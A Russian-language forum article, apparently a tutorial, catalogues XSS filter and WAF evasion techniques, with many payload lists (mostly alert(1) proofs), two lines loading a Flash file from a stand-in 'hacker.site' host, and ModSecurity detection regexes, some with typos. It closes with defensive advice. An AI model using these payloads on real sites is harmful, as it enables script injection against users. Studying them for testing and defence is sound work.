What's new

Article XSS - Обход фильтров и WAF

Vander 0

Vander

Staff member
Nov 10, 2019
468
1,156
xss_cross-site_bg.jpg

Вступление

Атаки с использованием межсайтовых сценариев (XSS) - это тип внедрения, при котором вредоносные скрипты вводятся на веб-сайты, заслуживающие доверия. Недостатки, которые позволяют этим атакам быть успешными, являются общими и могут быть обнаружены всякий раз, когда веб-приложение принимает вводимые пользователем данные в свой вывод без проверки или кодирования.

Многие исследователи безопасности создали руководства и шпаргалки, чтобы помочь специалистам по безопасности в тестировании проблем межсайтового скриптинга.

Самая известная из них - «XSS Filter Evasion Cheat Sheet», выпущенная RSnake и переданная в дар OWASP. Шпаргалка по безопасности HTML5 от Cure53 - еще одна интригующая инициатива.

В этой статье мы не будем анализировать векторы, указанные в шпаргалке, один за другим, а скорее определим, какие из них являются возможными сценариями, с которыми мы можем столкнуться, и как их преодолеть.

Наиболее распространенные сценарии, с которыми вы столкнетесь:
  • Вектор XSS заблокирован приложением или чем-то еще.
  • Вектор XSS санитизируется.
  • Вектор XSS фильтруется или блокируется браузером.
Мы рассмотрим несколько тактик уклонения, чтобы обойти самые слабые правила и получить эффективные векторы обхода XSS.

Обход Blacklisting Filters

Blacklisting Filters часто используются из-за простоты установки. Его задача - выявлять определенные закономерности и предотвращать злонамеренное поведение. Все сводится к «шаблонам», и чем они точнее, тем чаще они предотвращают атаки.

Внедрение кода скрипта

Тег <script> - это основной метод выполнения кода сценария на стороне клиента, такого как JavaScript.

Обход слабого запрета на использование тегов <script>

Возможно, фильтры слабые и не охватывают все возможные случаи, что позволяет их обойти. Ниже приведены лишь несколько примеров того, как обойти слабые правила.

Code:
<ScRiPt>alert(1);</ScRiPt> - Upper- & Lower-case characters
<ScRiPt>alert(1); - Upper- & Lower-case characters, without closing tag
<script/random>alert(1);</script> - Random string after the tag name
<script>alert(1);</script> - Newline after the tag name
<scr<script>ipt>alert(1)</scr<script>ipt> - Nested tags
<scr\x00ipt>alert(1)</scr\x00ipt> - NULL byte (IE up to v9)
ModSecurity > Правило фильтрующее теги <script>

Например, вот как ModSecurity фильтрует тег <script>:

SecRule ARGS

Code:
"(?i)(<script[^>]*>[\s\S]*?<\/script[^>]*>|<script[^>]*>[\s\S]*?<\/script[[\s\S]]*[\s\S]|<script[^>]*>[\s\S]*?<\/script[\s]*[\s]|<script[^>]*>[\s\S]*?<\/script|<script[^>]*>[\s\S]*?)"
Очевидно, что это не единственный способ внедрения кода скрипта. Есть несколько способов запустить наш код, например различные HTML-теги и связанные с ними обработчики событий.

Code:
<a href="javascript:alert(1)">show</a>
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">show</a>
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
Code:
<object data="javascript:alert(1)">
<object data="data:text/html,<script>alert(1)</script>">
<object data="data:text/html;base64, PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<object data="//hacker.site/xss.swf">
<embed code="//hacker.site/xss.swf" allowscriptaccess=always>
Вот небольшой инструмент:
События - это то, как HTML DOM добавляет интерактивность между веб-сайтом и его посетителями; это достигается простым выполнением клиентского кода (например, JavaScript).

Почти все идентификаторы обработчиков событий начинаются с «on» и сопровождаются именем события.

Onerror - один из наиболее часто используемых:

Code:
<img src=x onerror=alert(1)>
Но есть много других событий.

Ниже приведены некоторые примеры тегов HTML 4:


Code:
<body onload=alert(1)>
<input type=image src=x:x onerror=alert(1)>
<isindex onmouseover="alert(1)" >
<form oninput=alert(1)><input></form>
<textarea autofocus onfocus=alert(1)>
<input oncut=alert(1)>
Ниже приведены некоторые примеры тегов HTML 5:

Code:
<svg onload=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video><source onerror="alert(1)">
<marquee onstart=alert(1)>
С точки зрения защиты решение состоит в том, чтобы отфильтровать все события, которые начинаются со знака *, чтобы предотвратить использование этой точки инъекции.

Это очень распространенное регулярное выражение, с которым вы можете столкнуться:

Code:
(on\w+\s*=)
Благодаря сочетанию «динамизма» HTML и браузеров мы можем легко обойти этот первый фильтр:

Code:
<svg/onload=alert(1)>
<svg//////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
Итак, у нас есть «апгрейд»:

Code:
(?i)([\s\"';\/0-9\=]+on\w+\s*=)`
Но все же есть проблема. Поскольку некоторые браузеры преобразуют управляющий символ в пробел, одного метасимвола s недостаточно для покрытия всех возможных символов.

Вот некоторые обходные пути:

Code:
<svg onload%09=alert(1)>
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2C%3B=alert(1)>
<svg onload%0B=alert(1)>
У нас есть первый набор управляющих символов, которые можно использовать между атрибутом имени события (например, onload) и знаком равенства (=) или непосредственно перед именем события:

Code:
IExplorer = [0x09,0x0B,0x0C,0x20,0x3B]
Chrome = [0x09,0x20,0x28,0x2C,0x3B]
Safari = [0x2C,0x3B]
FireFox = [0x09,0x20,0x28,0x2C,0x3B]
Opera = [0x09,0x20,0x2C,0x3B]
Android = [0x09,0x20,0x28,0x2C,0x3B]
С другой стороны, браузеры постоянно развиваются, поэтому некоторые разрешенные символы могут больше не работать. Гарет Хейес создал два теста фаззера для Shazzer Fuzz DB:
Вы можете запустить его в своем браузере или просмотреть результаты ранее проверенных браузеров.

Действующее правило регулярного выражения должно быть следующим:

Code:
(?i)([\s\"'`;\/0-9\=\x00\x09\0A\x0B\x0C\0x0D\x3B\x2C
\x28\x3B]+on\w+[\s\x00\x09\0A\x0B\x0C\0x0D\x3B\x2C\x28\x3
B]*?=)
Фильтры на основе ключевых слов

Другие проблемы, которые может доставить фильтр на основе сигнатур, включают ограничение выполнения кода сценария путем блокировки использования определенных ключевых слов, таких как alert, javascript, eval и т. Д.

Экранирование символов

В JavaScript есть несколько типов escape-символов, которые позволяют нам выполнять код, а не обрабатывать его в буквальном виде.

Давайте представим, что нам нужно обойти фильтр, который предотвращает использование ключевого слова alert в следующих сценариях.

Экранирование символов > Unicode

Code:
<script>alert(1)</script> Alert(1) <— Blocked
Здесь мы видим экранирование Unicode без использования собственных функций:

Code:
<script>\u0061lert(1)</script>
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
Здесь также можно увидеть экранирование Unicode с использованием собственных функций. Обратите внимание, eval - лишь один из многих:

Code:
<script>eval("\u0061lert(1)")</script>
<script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>
Экранирование символов > Decimal, Octal, Hexadecimal

Если отфильтрованный вектор находится в строке, помимо Unicode, мы можем использовать несколько экранирований:

Code:
<img src=x onerror="\u0061lert(1)"/>
<img src=x onerror="eval('\141lert(1)')"/>
<img src=x onerror="eval('\x61lert(1)')"/>
  • eval(‘\141lert(1) ’) <—– Octal escaping
  • eval(‘\x61lert(1)’) <—– Hexadecimal escaping
Code:
<img src=x onerror="&#x0061;lert(1)"/>
<img src=x onerror="&#97;lert(1)"/>
<img src=x onerror="eval('\a\l\ert\(1\)')"/>
  • &#x0061 <—– Hexadecimal Numeric Character
  • &#97 <—— Decimal NCR
  • '\a\l\ert(1\ <—— Superfluous Escapes Character
Всё экранирование можно поместить в одну строку.

Code:
<img src=x onerror="\u0065val('\141\u006c&#101;&#x0072t\(&#49)')"/>
Построение строк

Чтобы обойти фильтры, вам нужно уметь строить строки.
Например, ключевое слово alert ограничено как обычно, но «ale» + «rt», скорее всего, не распознается. Давайте посмотрим на несколько примеров.

В JavaScript есть несколько функций, полезных для создания строк.

Code:
/ale/.source+/rt/.source
String.fromCharCode(97,108,101,114,116)
atob("YWxlcnQ=")
17795081..toString(36)
Execution Sinks

Ранее мы использовали функцию eval для запуска кода, а также событий, связанных с различными тегами. Execution Sinks - это функции, которые анализируют строку в код JavaScript, а JavaScript предоставляет различные варианты.

Причина, по которой нам нужно смотреть на эти функции, заключается в том, что если мы можем управлять одной из них, мы можем запускать код JavaScript.

Ниже приведены несколько примеров:

Code:
setTimeout("JSCode") //all browsers
setInterval("JSCode") //all browsers
setImmediate("JSCode") //IE 10+
Function("JSCode") //all browsers
Интересная разновидность приемника функций:

Code:
[]. constructor.constructor(alert(1))
Code:
.[] <—— Object
.constructor <——Array
.constructor <—— Function
(alert(1)) <—— XSS Vector
Псевдопротоколы

Javascript - это псевдопротокол, который относится к «неофициальной схеме URI». Вызов кода JavaScript из ссылки полезен. Большинство фильтров распознают ключевое слово javascript, за которым следует символ двоеточия, как частый шаблон:

Code:
a href="javascript:alert(1)">
  • Обратите внимание, что javascript: не требуется для обработчиков событий, поэтому мы не должны его использовать. Мы можем использовать все предыдущие варианты, потому что псевдопротокол часто вводится внутри строки.
Давайте посмотрим на несколько примеров.

Code:
<object data=“javascript:alert(1)”>
javascript <—— Blocked

Code:
<object data="JaVaScRiPt:alert(1)">
<object data="javascript&colon;alert(1)">
<object data="java
script:alert(1)">
<object data="javascript&#x003A;alert(1)">
<object data="javascript&#58;alert(1)">
<object data="&#x6A;avascript:alert(1)">
<object
data="&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;alert(1)">
Помимо javascript :, есть также data: (RFC 2397) и эксклюзивный vbscript: для Internet Explorer.

Посмотрим, как они работают.

Небольшие элементы данных, предоставляемые с различными типами носителей, могут быть включены в схему URI данных. Вот как выглядит структура:

Code:
data:[<mediatype>]
[;base64],<data>
Text/html и индикатор base64, который позволяет нам кодировать наши данные, - это типы мультимедиа, которые нас больше всего интересуют. Давайте рассмотрим несколько примеров.

Если javascript: заблокирован:

Code:
<object data="data:text/html,<script>alert(1)</script>">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
  • PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== <—– Base64 Encoded
Code:
<embed code="data:text/html,<script>alert(1)</script>">
  • data: <—— Blocked
Если данные: Blocked, используйте это:

Code:
<embed code="DaTa:text/html,<script>alert(1)</script>">
<embed code="data&colon;text/html,<script>alert(1)</script>">
<embed code="data&#x003A;text/html,<script>alert(1)</script>">
<embed code="&#x64;&#x61;ta:text/html,<script>alert(1)</script>">
Поскольку его можно использовать только в Internet Explorer, псевдопротокол vbscript широко не используется, VBScript больше не поддерживается для зоны Интернета в IE11 в режиме Edge. Давайте посмотрим на несколько сценариев.

Чтобы вызвать VBScript, мы можем использовать vbscript :, а также vbs:

Code:
<img src=a onerror="vbscript:msgbox 1"/>
<img src=b onerror="vbs:msgbox 2"/>
<img src=c onerror="vbs:alert(3)"/>
<img src=d onerror="vbscript:alert(4)"/>
В отличие от JavaScript, код не чувствителен к регистру до версии 8. Когда приложение изменяет ввод, это действительно удобно.

Code:
<iMg src=a onErRor="vBsCriPt:AlErT(4)"/>
Если vbscript: заблокирован, мы могли бы использовать обычные методы кодирования:

Code:
<img src=x onerror="vbscript&#x003A;alert(1)">
<img src=x onerror="vb&#x63;cript:alert(1)">
Обход санитизации

Вместо того, чтобы блокировать весь запрос, системы безопасности часто предпочитают дезинфицировать подозрительные векторы XSS. Скорее всего, это те фильтры, с которыми мы столкнемся во время наших экспериментов.
Чаще всего используется HTML-кодирование некоторых важных символов, таких как (<),> (>) и т. Д. Этого не всегда достаточно, потому что это зависит от того, куда вставляются ненадежные данные на странице.

Манипуляции со строками

В некоторых случаях фильтр может изменить ваш вектор, удалив опасные фразы. Например, удалите теги <script>.

Правило просто удаляет первый экземпляр совпадающего выражения, что является частой ошибкой при таком поведении.

Удаление HTML-тегов

Например, <script>alert (1)</script> правильно санитизируется для alert(1), но поскольку проверка не выполняется рекурсивно:

Code:
<scr<script> ipt>alert(1)</script>
Это может быть обходным путем.

Если фильтр запускает рекурсивные тесты, вы всегда должны проверять, можно ли его использовать. Вам может помочь изменение последовательности вставленных строк.

Давайте посмотрим на пример.

Вполне возможно, что рекурсивные тесты в порядке. Они начинаются с тега <script>, затем с следующего и так далее, не возвращаясь к началу, чтобы увидеть, есть ли еще опасные строки.

Следующий вектор может быть обходным:

Code:
<scr<iframe>ipt>alert(1)</script>
Конечно, если мы знаем или можем угадать последовательность, мы можем сгенерировать более сложные векторы и, возможно, использовать несколько кодировок символов, как мы видели в разделе «Обход фильтров черного списка».

Все зависит от фильтра, с которым мы имеем дело.

Экранированные цитаты

Все дело в тегах HTML, а места внедрения часто находятся внутри строк в кавычках. Чтобы избежать этого типа символа, фильтры обычно помещают символ обратной косой черты () перед кавычками.

Чтобы избежать обхода, также необходимо избегать обратной косой черты. Рассмотрим следующий код, в котором мы можем управлять значением randomkey, но кавычки экранированы:

Code:
<script>var key = 'randomkey';</script>
Вместо randomkey, если мы введем randomkey \ 'alert (1); // тогда у нас появляется обходной путь.

Это потому, что приложение избегает апострофа, преобразуя наш ввод в randomkey \ 'alert (1); //.

Но это позволит избежать только обратной косой черты, что позволит нам завершить строку и ввести код предупреждения. Одним из полезных методов Javascript является String.fromCharCode (). Это позволяет нам генерировать строки, начиная с последовательности значений Unicode.

Мы также могли бы поиграть с методом unescape для экранирования сгенерированной строки. Например, мы могли бы экранировать строку с помощью метода .source.

Code:
unescape(/%78%u0073%73/.source)
Даже если эта функция устарела, многие браузеры по-прежнему поддерживают ее.

В дополнение к этому есть методы decode URI и decodeURIComponent. В этом случае символы необходимо закодировать в URL-адресе, чтобы избежать ошибок неправильного формата URI.

Code:
decodeURI(/alert(%22xss%22)/.source)
decodeURIComponent(/alert(%22xss%22)/.source)
Эти методы были бы удобны, если бы вы могли внедрить их в скрипт или обработчик событий, но вы не можете использовать кавычки, потому что они уже экранированы.

Помните, что каждый из них вернет строку, поэтому для запуска функции вам понадобится приемник выполнения (IE: eval).

Как предотвратить межсайтовый скриптинг в ваших приложениях

Сама по себе фильтрация явно не является решением, поскольку постоянно появляются сотни способов обойти фильтры и новые векторы. Фильтры не предотвращают XSS-атаки; скорее, они устраняют небольшую часть кодовых шаблонов, которые могут быть использованы в атаке.

Фактически, вместо того, чтобы блокировать вредоносный код, фильтрация решает неправильную проблему, пытаясь предотвратить любые вызовы, которые загружают сам плохой код.
Разработчики могут иметь значительно большее влияние на безопасность приложений и пользователей, чем любые фильтры, за счет разработки безопасного кода, неуязвимого для XSS-атак. Это может быть выполнено на уровне приложения с помощью соответствующего контекстно-зависимого экранирования и кодирования. Использование соответствующих заголовков безопасности HTTP на уровне протокола HTTP является основным оружием против межсайтового скриптинга.
 
Top Bottom